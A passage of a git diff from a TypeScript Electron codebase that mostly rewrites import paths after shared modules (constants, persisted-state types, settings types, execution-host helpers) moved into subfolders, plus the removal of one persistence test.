'r1', - workspaceMode: 'existing', - workspaceId: 'wt1', - timezone: 'UTC', - rrule: 'FREQ=DAILY;BYHOUR=9;BYMINUTE=0', - dtstart: new Date('2026-05-13T00:00:00Z').getTime() - }) - store.createAutomationRun(automation, new Date('2026-05-13T09:00:00Z').getTime()) - const before = store.listAutomationRuns(automation.id)[0].workspaceDisplayName - - const updatedCount = store.snapshotAutomationRunWorkspaceDisplayName( - hostWorktreeTarget({ id: 'wt1', hostId: toSshExecutionHostId('ssh-1') }), - 'SSH twin' - ) - - expect(updatedCount).toBe(0) - expect(store.listAutomationRuns(automation.id)[0].workspaceDisplayName).toBe(before) - }) - it('persists automation run output snapshots across later status updates', async () => { const store = await createStore() store.addRepo(makeRepo()) diff --git a/src/main/persistence/applying-settings/persistence-legacy-automation-twin-host.test.ts b/src/main/persistence/applying-settings/persistence-legacy-automation-twin-host.test.ts index c3e7d71e047..33bc1e36cab 100644 --- a/src/main/persistence/applying-settings/persistence-legacy-automation-twin-host.test.ts +++ b/src/main/persistence/applying-settings/persistence-legacy-automation-twin-host.test.ts @@ -5,7 +5,7 @@ import { join } from 'node:path' import { tmpdir } from 'node:os' import type { Automation } from '../../../shared/automations/automation-definition' import type { Repo } from '../../../shared/repository/repo-types' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' vi.mock('electron', () => ({ app: { getPath: () => testState.dir }, diff --git a/src/main/persistence/applying-settings/persistence-ui-state.test.ts b/src/main/persistence/applying-settings/persistence-ui-state.test.ts index c5f8e5958f9..201a2cf8aaf 100644 --- a/src/main/persistence/applying-settings/persistence-ui-state.test.ts +++ b/src/main/persistence/applying-settings/persistence-ui-state.test.ts @@ -2,7 +2,7 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' import { closeTestStores, createSqliteTestStore, diff --git a/src/main/persistence/applying-settings/settings-update-effects.ts b/src/main/persistence/applying-settings/settings-update-effects.ts index 0a948b8b142..49f27f9aafa 100644 --- a/src/main/persistence/applying-settings/settings-update-effects.ts +++ b/src/main/persistence/applying-settings/settings-update-effects.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { PROTECTED_SECRET_SLOT } from '../../credentials/protected-secret-persistence' import { retireAtRestCommandSettings } from '../../native-chat/agent-session-wire/options/at-rest-command-context' import { createAgentModelCatalogSettingsExpiry } from '../../native-chat/agent-model-catalog/agent-model-catalog-account-expiry' diff --git a/src/main/persistence/applying-settings/settings-update.ts b/src/main/persistence/applying-settings/settings-update.ts index 8a80031bdd1..ee02742e762 100644 --- a/src/main/persistence/applying-settings/settings-update.ts +++ b/src/main/persistence/applying-settings/settings-update.ts @@ -2,7 +2,7 @@ import { publishSettingsUpdate } from './settings-update-effects' import { legacyChatPermissionWrite } from './legacy-chat-permission-write' import { stampDefaultOnMigrationGuards } from './default-on-migration-guards' import { normalizeNativeChatAppearanceSettings } from '../../../shared/native-chat/native-chat-appearance-settings' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { normalizeDisabledTuiAgents } from '../../../shared/agent-launch/catalog/tui-agent-selection' import { normalizeAgentDefaultSurface, @@ -29,7 +29,7 @@ import { normalizeWorktreeVisibilityDefaults } from '../../../shared/worktree/vi import { normalizePRBotAuthorOverrides } from '../../../shared/source-control/review-comments/pr-bot-author-overrides' import { normalizeMachineName } from '../../../shared/remote-runtime/host-metadata/machine-name' import { normalizeWorkspaceCleanupRules } from '../../../shared/workspace-cleanup/workspace-cleanup-policy' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { addMobilePairingCustomAddress, normalizeMobilePairingCustomAddress, diff --git a/src/main/persistence/applying-settings/source-control-settings.ts b/src/main/persistence/applying-settings/source-control-settings.ts index 4adb819e970..7bed326679f 100644 --- a/src/main/persistence/applying-settings/source-control-settings.ts +++ b/src/main/persistence/applying-settings/source-control-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { normalizeSourceControlAiSettings } from '../../../shared/source-control/ai/settings/source-control-ai-settings' import { DEFAULT_SOURCE_CONTROL_ACTION_COMMAND_TEMPLATES, diff --git a/src/main/persistence/applying-settings/terminal-settings-migrations.ts b/src/main/persistence/applying-settings/terminal-settings-migrations.ts index 82180a70c3c..be9edbb69b0 100644 --- a/src/main/persistence/applying-settings/terminal-settings-migrations.ts +++ b/src/main/persistence/applying-settings/terminal-settings-migrations.ts @@ -1,5 +1,5 @@ import { homedir } from 'node:os' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { OrcaWorkspaceLayout } from '../../../shared/worktree/paths/orca-workspace-layout' import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' import { diff --git a/src/main/persistence/applying-settings/ui-interaction-merge.ts b/src/main/persistence/applying-settings/ui-interaction-merge.ts index 8beadafb7d7..f0ab370309b 100644 --- a/src/main/persistence/applying-settings/ui-interaction-merge.ts +++ b/src/main/persistence/applying-settings/ui-interaction-merge.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceLineage } from '../../../shared/worktree/lineage-types' import { normalizeFeatureInteractions } from '../../../shared/feature-education/interactions/feature-interactions' import { normalizeContextualTourIds } from '../../../shared/feature-education/contextual-tours/contextual-tours' diff --git a/src/main/persistence/applying-settings/ui-selection-normalization.ts b/src/main/persistence/applying-settings/ui-selection-normalization.ts index de4077a538d..ba48f53a87f 100644 --- a/src/main/persistence/applying-settings/ui-selection-normalization.ts +++ b/src/main/persistence/applying-settings/ui-selection-normalization.ts @@ -1,5 +1,5 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' -import { getDefaultUIState } from '../../../shared/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' +import { getDefaultUIState } from '../../../shared/orca-profiles/constants' import { isPluginPanelTabKey } from '../../../shared/plugins/manifest/plugin-manifest' export function normalizeGroupBy(groupBy: unknown): PersistedState['ui']['groupBy'] { diff --git a/src/main/persistence/applying-settings/ui-state-read.ts b/src/main/persistence/applying-settings/ui-state-read.ts index 6ae7295f6e8..c2ed55500dd 100644 --- a/src/main/persistence/applying-settings/ui-state-read.ts +++ b/src/main/persistence/applying-settings/ui-state-read.ts @@ -1,7 +1,8 @@ import { normalizeGitGraphFilters } from '../../../shared/git/history/git-graph-filters' import { normalizeExplorerDisplayRootByWorktree } from '../../../shared/file-listing/file-explorer-display-root' -import type { PersistedState } from '../../../shared/persisted-state-types' -import { getDefaultUIState, normalizeAgentActivityDisplayMode } from '../../../shared/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' +import { getDefaultUIState } from '../../../shared/orca-profiles/constants' +import { normalizeAgentActivityDisplayMode } from '../../../shared/agent-status/presentation/agent-activity-display-mode' import { normalizeWorktreeCardProperties } from '../../../shared/worktree/row-display/card-properties' import { normalizeWorkspaceStatuses, @@ -16,7 +17,7 @@ import { clampCombinedDiffFileTreeWidth } from '../../../shared/source-control/d import { normalizeVisibleExecutionHostIds, normalizeExecutionHostOrder -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { normalizeManualRepoOrder } from '../../../shared/repository/manual-repo-order' import { normalizeBrowserPageZoomLevel } from '../../../shared/browser/site-settings/browser-page-zoom' import { normalizeFeatureTipIds } from '../../../shared/feature-education/feature-tips' diff --git a/src/main/persistence/applying-settings/ui-state-update.ts b/src/main/persistence/applying-settings/ui-state-update.ts index 1cd98c1823d..35f5c5e969e 100644 --- a/src/main/persistence/applying-settings/ui-state-update.ts +++ b/src/main/persistence/applying-settings/ui-state-update.ts @@ -1,7 +1,8 @@ import { normalizeGitGraphFilters } from '../../../shared/git/history/git-graph-filters' import { normalizeExplorerDisplayRootByWorktree } from '../../../shared/file-listing/file-explorer-display-root' -import type { PersistedState } from '../../../shared/persisted-state-types' -import { getDefaultUIState, normalizeAgentActivityDisplayMode } from '../../../shared/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' +import { getDefaultUIState } from '../../../shared/orca-profiles/constants' +import { normalizeAgentActivityDisplayMode } from '../../../shared/agent-status/presentation/agent-activity-display-mode' import { normalizeWorktreeCardProperties } from '../../../shared/worktree/row-display/card-properties' import { normalizeWorkspaceStatuses, @@ -17,7 +18,7 @@ import { normalizeExecutionHostScope, normalizeVisibleExecutionHostIds, normalizeExecutionHostOrder -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { workspaceHostScopeForVisibleHosts } from '../../../shared/workspace-view/workspace-host-visibility' import { normalizeManualRepoOrder } from '../../../shared/repository/manual-repo-order' import { normalizeBrowserPageZoomLevel } from '../../../shared/browser/site-settings/browser-page-zoom' diff --git a/src/main/persistence/closed-terminal-tab-write-fence.test.ts b/src/main/persistence/closed-terminal-tab-write-fence.test.ts index 61c37a856b9..61bb3c49a68 100644 --- a/src/main/persistence/closed-terminal-tab-write-fence.test.ts +++ b/src/main/persistence/closed-terminal-tab-write-fence.test.ts @@ -2,7 +2,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../shared/constants' +import { getDefaultWorkspaceSession } from '../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../shared/workspace-session/workspace-session-state-types' import { Store } from './loading-store/store' import { closeTestStores, createSqliteTestStore } from './persistence-test-harness' diff --git a/src/main/persistence/host-qualified-worktree-meta.ts b/src/main/persistence/host-qualified-worktree-meta.ts index a82748946fc..7eef756fcaa 100644 --- a/src/main/persistence/host-qualified-worktree-meta.ts +++ b/src/main/persistence/host-qualified-worktree-meta.ts @@ -6,7 +6,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import { isLocalOnlyWorktreeMetaId } from '../../shared/worktree/metadata/local-only-worktree-meta-ids' import type { Repo } from '../../shared/repository/repo-types' import type { WorktreeMeta } from '../../shared/worktree/meta-types' diff --git a/src/main/persistence/leasing-ssh-ptys/canonical-worktree-host-reassignment.ts b/src/main/persistence/leasing-ssh-ptys/canonical-worktree-host-reassignment.ts index b8e46ee8a56..120efa7341a 100644 --- a/src/main/persistence/leasing-ssh-ptys/canonical-worktree-host-reassignment.ts +++ b/src/main/persistence/leasing-ssh-ptys/canonical-worktree-host-reassignment.ts @@ -1,7 +1,7 @@ import { randomUUID } from 'node:crypto' import { isDeepStrictEqual } from 'node:util' -import type { ExecutionHostId } from '../../../shared/execution-host' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' import { canonicalWorktreeIdentity } from '../../../shared/worktree/identity' import { diff --git a/src/main/persistence/leasing-ssh-ptys/persistence-ssh-remote-pty-leases.test.ts b/src/main/persistence/leasing-ssh-ptys/persistence-ssh-remote-pty-leases.test.ts index aa3834c0f13..e18fc7c639e 100644 --- a/src/main/persistence/leasing-ssh-ptys/persistence-ssh-remote-pty-leases.test.ts +++ b/src/main/persistence/leasing-ssh-ptys/persistence-ssh-remote-pty-leases.test.ts @@ -9,7 +9,7 @@ import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import '../../../shared/remote-runtime/ssh/ssh-types' import { TEST_LEAF_1, TEST_LEAF_2 } from '../persistence-session-fixtures' import { PtyExitProof } from '../../pty/process-retirement/pty-exit-proof' diff --git a/src/main/persistence/leasing-ssh-ptys/ssh-pty-binding-cleanup.ts b/src/main/persistence/leasing-ssh-ptys/ssh-pty-binding-cleanup.ts index f9ab24880c1..04329b330ba 100644 --- a/src/main/persistence/leasing-ssh-ptys/ssh-pty-binding-cleanup.ts +++ b/src/main/persistence/leasing-ssh-ptys/ssh-pty-binding-cleanup.ts @@ -1,7 +1,7 @@ import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import type { SshRemotePtyLease } from '../../../shared/remote-runtime/ssh/ssh-types' -import { toSshExecutionHostId } from '../../../shared/execution-host' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { toSshExecutionHostId } from '../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' export type SshPtyBindingCleanupOperations = { state: PersistedState diff --git a/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-operations.ts b/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-operations.ts index c159c2b168a..57faf815ad4 100644 --- a/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-operations.ts +++ b/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-operations.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { SshPendingPtyKill } from '../../../shared/remote-runtime/ssh/ssh-pending-pty-kill' import type { SshRemotePtyLease } from '../../../shared/remote-runtime/ssh/ssh-types' import type { PtyRetirementEvidence } from '../../pty/process-retirement/pty-exit-proof' diff --git a/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-tombstone-retention.ts b/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-tombstone-retention.ts index e8ab3ba343d..9c242173f54 100644 --- a/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-tombstone-retention.ts +++ b/src/main/persistence/leasing-ssh-ptys/ssh-pty-lease-tombstone-retention.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { SshRemotePtyLease } from '../../../shared/remote-runtime/ssh/ssh-types' export type SshPtyLeaseTombstoneRetentionOperations = { diff --git a/src/main/persistence/leasing-ssh-ptys/ssh-target-reassignment.ts b/src/main/persistence/leasing-ssh-ptys/ssh-target-reassignment.ts index ded3dec55b8..459c7db18ff 100644 --- a/src/main/persistence/leasing-ssh-ptys/ssh-target-reassignment.ts +++ b/src/main/persistence/leasing-ssh-ptys/ssh-target-reassignment.ts @@ -1,6 +1,6 @@ import type { ProjectHostSetup } from '../../../shared/project/project-types' -import { toSshExecutionHostId } from '../../../shared/execution-host' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { toSshExecutionHostId } from '../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { migrateFolderWorkspaceHostSshTargetId, migrateUiHostScopeSshTargetId, diff --git a/src/main/persistence/leasing-ssh-ptys/ssh-target-state.ts b/src/main/persistence/leasing-ssh-ptys/ssh-target-state.ts index 177aaf24f76..94e90e4e22c 100644 --- a/src/main/persistence/leasing-ssh-ptys/ssh-target-state.ts +++ b/src/main/persistence/leasing-ssh-ptys/ssh-target-state.ts @@ -1,5 +1,5 @@ import type { ProfileSaveDomains } from '../profile-save-domains' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { RemovedSshTargetTombstone, SshTarget @@ -12,7 +12,7 @@ import { collectSshTargetRemovalEvidenceDependencies } from '../../ssh/targets/removed-ssh-target-tombstone-retention' import { normalizeSshTarget } from './ssh-normalization' -import { isRuntimeOwnedSshTargetId } from '../../../shared/execution-host' +import { isRuntimeOwnedSshTargetId } from '../../../shared/execution-host/execution-host' import { migrateRetirementNamespaceHostIdentity, sshHostIdentity diff --git a/src/main/persistence/loading-store/github-cache/github-cache-database.ts b/src/main/persistence/loading-store/github-cache/github-cache-database.ts index f371d784829..7898ff964b5 100644 --- a/src/main/persistence/loading-store/github-cache/github-cache-database.ts +++ b/src/main/persistence/loading-store/github-cache/github-cache-database.ts @@ -1,5 +1,5 @@ import { dirname, join } from 'node:path' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { KeyedJsonRowCache, parseKeyedJsonRows, diff --git a/src/main/persistence/loading-store/profile-loading/initial-home-workspace.ts b/src/main/persistence/loading-store/profile-loading/initial-home-workspace.ts index 75b0eb82b07..3790ed67ab7 100644 --- a/src/main/persistence/loading-store/profile-loading/initial-home-workspace.ts +++ b/src/main/persistence/loading-store/profile-loading/initial-home-workspace.ts @@ -1,6 +1,6 @@ import { homedir } from 'node:os' import { createInitialFolderWorkspaceState } from '../../../../shared/folder-workspaces/initial-folder-workspace-state' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { createLocalProjectRecord } from '../../../workspaces/catalog/local-project-record' export function createInitialHomeWorkspaceState(state: PersistedState): PersistedState { diff --git a/src/main/persistence/loading-store/profile-loading/loaded-cohort-migrations.ts b/src/main/persistence/loading-store/profile-loading/loaded-cohort-migrations.ts index 16a37f742f5..98a42a3c7dd 100644 --- a/src/main/persistence/loading-store/profile-loading/loaded-cohort-migrations.ts +++ b/src/main/persistence/loading-store/profile-loading/loaded-cohort-migrations.ts @@ -1,5 +1,5 @@ import { randomUUID } from 'node:crypto' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { parseChatUiLaunchTipAudience, type ChatUiLaunchTipAudience diff --git a/src/main/persistence/loading-store/profile-loading/loaded-state-parsing.ts b/src/main/persistence/loading-store/profile-loading/loaded-state-parsing.ts index f60f527999c..56a779496de 100644 --- a/src/main/persistence/loading-store/profile-loading/loaded-state-parsing.ts +++ b/src/main/persistence/loading-store/profile-loading/loaded-state-parsing.ts @@ -1,10 +1,10 @@ import { homedir } from 'node:os' import { normalizeProxyUrl } from '../../../../shared/network/network-proxy' import { normalizeKagiSessionLink } from '../../../../shared/browser/navigation/browser-url' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { ChatUiLaunchTipAudience } from '../../../../shared/native-chat/chat-ui-launch-tip-audience' import type { SshPtyConsumerRecovery } from '../../../../shared/remote-runtime/ssh/ssh-types' -import { getDefaultPersistedState } from '../../../../shared/constants' +import { getDefaultPersistedState } from '../../../../shared/orca-profiles/constants' import { pruneLocalTerminalScrollbackBuffers } from '../../../../shared/workspace-session/workspace-session-terminal-buffers' import { pruneWorkspaceSessionBrowserHistory } from '../../../../shared/workspace-session/workspace-session-browser-history' import { clearMissingProjectGroupMemberships } from '../../../../shared/project/groups/project-groups' diff --git a/src/main/persistence/loading-store/profile-loading/normalize-loaded-global-settings.ts b/src/main/persistence/loading-store/profile-loading/normalize-loaded-global-settings.ts index 3ebbbc623ed..b698c17e0ec 100644 --- a/src/main/persistence/loading-store/profile-loading/normalize-loaded-global-settings.ts +++ b/src/main/persistence/loading-store/profile-loading/normalize-loaded-global-settings.ts @@ -1,6 +1,6 @@ import { normalizeAgentDefaultSurface } from '../../../../shared/native-chat/native-chat-providers' import { normalizeNativeChatAppearanceSettings } from '../../../../shared/native-chat/native-chat-appearance-settings' -import { getDefaultVoiceSettings } from '../../../../shared/constants' +import { getDefaultVoiceSettings } from '../../../../shared/orca-profiles/constants' import { normalizePRBotAuthorOverrides } from '../../../../shared/source-control/review-comments/pr-bot-author-overrides' import { normalizeNewTabMenuLayout } from '../../../../shared/new-tab-menu/new-tab-menu-layout' import { normalizeTerminalQuickCommands } from '../../../../shared/terminal/quick-commands/terminal-quick-commands' @@ -26,7 +26,7 @@ import { readLegacySidekickFlag } from '../../applying-settings/onboarding-norma import { normalizeMachineName } from '../../../../shared/remote-runtime/host-metadata/machine-name' import { normalizeWorkspaceCleanupRules } from '../../../../shared/workspace-cleanup/workspace-cleanup-policy' import { replaceRetiredSpeechModelId } from '../../../speech/model-catalog' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { VoiceSettings } from '../../../../shared/speech/speech-types' import { dictationShortcutModeSettings } from '../../../../shared/speech/dictation/dictation-shortcut-mode' import type { PreparedLoadedTerminalSettings } from './prepare-loaded-terminal-settings' diff --git a/src/main/persistence/loading-store/profile-loading/normalize-loaded-profile-state.ts b/src/main/persistence/loading-store/profile-loading/normalize-loaded-profile-state.ts index 6cc222c3328..7d9ad1d2e23 100644 --- a/src/main/persistence/loading-store/profile-loading/normalize-loaded-profile-state.ts +++ b/src/main/persistence/loading-store/profile-loading/normalize-loaded-profile-state.ts @@ -19,7 +19,7 @@ import { normalizeLegacyPaneKeyAliasEntries, normalizeMigrationUnsupportedPtyEntries } from '../../restoring-sessions/pane-alias-normalization' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { PreparedLoadedTerminalSettings } from './prepare-loaded-terminal-settings' import type { PreparedLoadedProfileSettings } from './prepare-loaded-profile-settings' import { normalizeLoadedGlobalSettings } from './normalize-loaded-global-settings' diff --git a/src/main/persistence/loading-store/profile-loading/normalize-loaded-state-collections.ts b/src/main/persistence/loading-store/profile-loading/normalize-loaded-state-collections.ts index 1bdb46be7db..8b48643688d 100644 --- a/src/main/persistence/loading-store/profile-loading/normalize-loaded-state-collections.ts +++ b/src/main/persistence/loading-store/profile-loading/normalize-loaded-state-collections.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { normalizeProjectHostSetupRows, normalizeProjectRows diff --git a/src/main/persistence/loading-store/profile-loading/normalize-loaded-ui-state.ts b/src/main/persistence/loading-store/profile-loading/normalize-loaded-ui-state.ts index 0f9161f37b5..3392c7de111 100644 --- a/src/main/persistence/loading-store/profile-loading/normalize-loaded-ui-state.ts +++ b/src/main/persistence/loading-store/profile-loading/normalize-loaded-ui-state.ts @@ -1,7 +1,7 @@ import { normalizeGitGraphFilters } from '../../../../shared/git/history/git-graph-filters' import { resolveStatusBarCompactChangeNoticeDismissed } from '../../../../shared/status-bar/status-bar-compact-change-notice' import { migrateExplorerDisplayRoots } from '../../../../shared/file-listing/file-explorer-display-root' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { getWorktreeCardModeProperties, isCurrentCompactWorktreeCardProperties, @@ -23,7 +23,7 @@ import { readDeprecatedExperimentFlag, resolveSetupGuideSidebarDismissedOnLoad } from '../../applying-settings/onboarding-normalization' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { OnboardingState } from '../../../../shared/onboarding/onboarding-state-types' export function normalizeLoadedUiState( diff --git a/src/main/persistence/loading-store/profile-loading/prepare-loaded-profile-settings.ts b/src/main/persistence/loading-store/profile-loading/prepare-loaded-profile-settings.ts index 29f9331638c..7f549733a9e 100644 --- a/src/main/persistence/loading-store/profile-loading/prepare-loaded-profile-settings.ts +++ b/src/main/persistence/loading-store/profile-loading/prepare-loaded-profile-settings.ts @@ -1,5 +1,5 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import { deriveGlobalWindowsRuntimeDefaultFromLegacySettings } from '../../../../shared/execution-host/project-runtime-legacy-migration' import { normalizeTaskProviderSettings } from '../../../../shared/work-items/task-providers' diff --git a/src/main/persistence/loading-store/profile-loading/prepare-loaded-terminal-settings.ts b/src/main/persistence/loading-store/profile-loading/prepare-loaded-terminal-settings.ts index d8384f27dab..1b44ba3e708 100644 --- a/src/main/persistence/loading-store/profile-loading/prepare-loaded-terminal-settings.ts +++ b/src/main/persistence/loading-store/profile-loading/prepare-loaded-terminal-settings.ts @@ -1,9 +1,9 @@ import { migrateActionPermissionArgs } from '../../../../shared/source-control/ai/recipes/source-control-action-permission-lift' import { homedir } from 'node:os' -import type { PersistedState } from '../../../../shared/persisted-state-types' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { WorktreeVisibilityDefaults, Repo } from '../../../../shared/repository/repo-types' -import { getDefaultPersistedState } from '../../../../shared/constants' +import { getDefaultPersistedState } from '../../../../shared/orca-profiles/constants' import { migrateExternalWorktreeVisibilityDefaults } from '../../../../shared/worktree/visibility/external-worktree-visibility' import { mergeLegacyCommitMessageAiIntoSourceControlAi } from '../../../../shared/source-control/ai/settings/source-control-ai-legacy-reconciliation' import { sourceControlAiSettingsFromLegacy } from '../../../../shared/source-control/ai/settings/source-control-ai-settings' diff --git a/src/main/persistence/loading-store/profile-preferences/mobile-tab-selection-persistence.ts b/src/main/persistence/loading-store/profile-preferences/mobile-tab-selection-persistence.ts index 4af1d873435..d80dca6fa33 100644 --- a/src/main/persistence/loading-store/profile-preferences/mobile-tab-selection-persistence.ts +++ b/src/main/persistence/loading-store/profile-preferences/mobile-tab-selection-persistence.ts @@ -1,4 +1,4 @@ -import type { PersistedMobileClientTabSelections } from '../../../../shared/persisted-state-types' +import type { PersistedMobileClientTabSelections } from '../../../../shared/orca-profiles/persisted-state-types' import type { StoreRuntimeState } from '../store-runtime-state' import type { WriteSchedulingOperations } from '../profile-writing/write-scheduling' import { scheduleSave } from '../profile-writing/write-scheduling' diff --git a/src/main/persistence/loading-store/profile-preferences/profile-preferences.ts b/src/main/persistence/loading-store/profile-preferences/profile-preferences.ts index 29e0960a3c0..c1440f76cfe 100644 --- a/src/main/persistence/loading-store/profile-preferences/profile-preferences.ts +++ b/src/main/persistence/loading-store/profile-preferences/profile-preferences.ts @@ -1,10 +1,10 @@ import { normalizeFeatureTipIds } from '../../../../shared/feature-education/feature-tips' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { retireAtRestCommandSettings } from '../../../native-chat/agent-session-wire/options/at-rest-command-context' import { createAgentModelCatalogSettingsExpiry } from '../../../native-chat/agent-model-catalog/agent-model-catalog-account-expiry' import { agentModelCatalogStore } from '../../../native-chat/agent-model-catalog/agent-model-catalog-store' import type { OnboardingChecklistState } from '../../../../shared/onboarding/onboarding-state-types' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { getDefaultOnboardingState } from '../../../../shared/onboarding/onboarding-defaults' import type { FeatureInteractionId } from '../../../../shared/feature-education/interactions/feature-interaction-catalog' import { diff --git a/src/main/persistence/loading-store/profile-writing/primary-state-writes.ts b/src/main/persistence/loading-store/profile-writing/primary-state-writes.ts index 77b4701c188..3310158848a 100644 --- a/src/main/persistence/loading-store/profile-writing/primary-state-writes.ts +++ b/src/main/persistence/loading-store/profile-writing/primary-state-writes.ts @@ -14,7 +14,7 @@ import { writeProfileStateInWorker } from './primary-state-write-worker' import type { DurableProfileStateMutation } from '../store-runtime-state' import { profileStateWriterFailureOutcome } from '../../profile-state/writer/profile-state-writer-errors' import { notifyWorkspaceSessionOperationEnded } from '../workspace-sessions/workspace-session-write-listeners' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' const primaryStateWriteOperationsContext = Symbol('PrimaryStateWriteOperations') export class PrimaryStateWriteOperations { diff --git a/src/main/persistence/loading-store/profile-writing/profile-state-authority.ts b/src/main/persistence/loading-store/profile-writing/profile-state-authority.ts index 773272922bc..124538e8339 100644 --- a/src/main/persistence/loading-store/profile-writing/profile-state-authority.ts +++ b/src/main/persistence/loading-store/profile-writing/profile-state-authority.ts @@ -1,4 +1,4 @@ -import type { LegacyPaneKeyAliasEntry } from '../../../../shared/persisted-state-types' +import type { LegacyPaneKeyAliasEntry } from '../../../../shared/orca-profiles/persisted-state-types' import type { AutomationRun } from '../../../../shared/automations/history/automation-run' import type { ProfileStateDatabaseQuarantine } from '../../profile-state/recovery/profile-state-database-quarantine' diff --git a/src/main/persistence/loading-store/profile-writing/profile-state-delayed-authority-fixture.ts b/src/main/persistence/loading-store/profile-writing/profile-state-delayed-authority-fixture.ts index 088fc806a04..3283b5b7c33 100644 --- a/src/main/persistence/loading-store/profile-writing/profile-state-delayed-authority-fixture.ts +++ b/src/main/persistence/loading-store/profile-writing/profile-state-delayed-authority-fixture.ts @@ -11,7 +11,7 @@ import type { ProfileStateDomainReplacement } from './profile-state-authority' import { Store } from '../store' -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' export function deferred() { let resolve!: (value: T) => void diff --git a/src/main/persistence/loading-store/profile-writing/profile-state-settings-writes.test.ts b/src/main/persistence/loading-store/profile-writing/profile-state-settings-writes.test.ts index 46d682339f3..02003ea6f83 100644 --- a/src/main/persistence/loading-store/profile-writing/profile-state-settings-writes.test.ts +++ 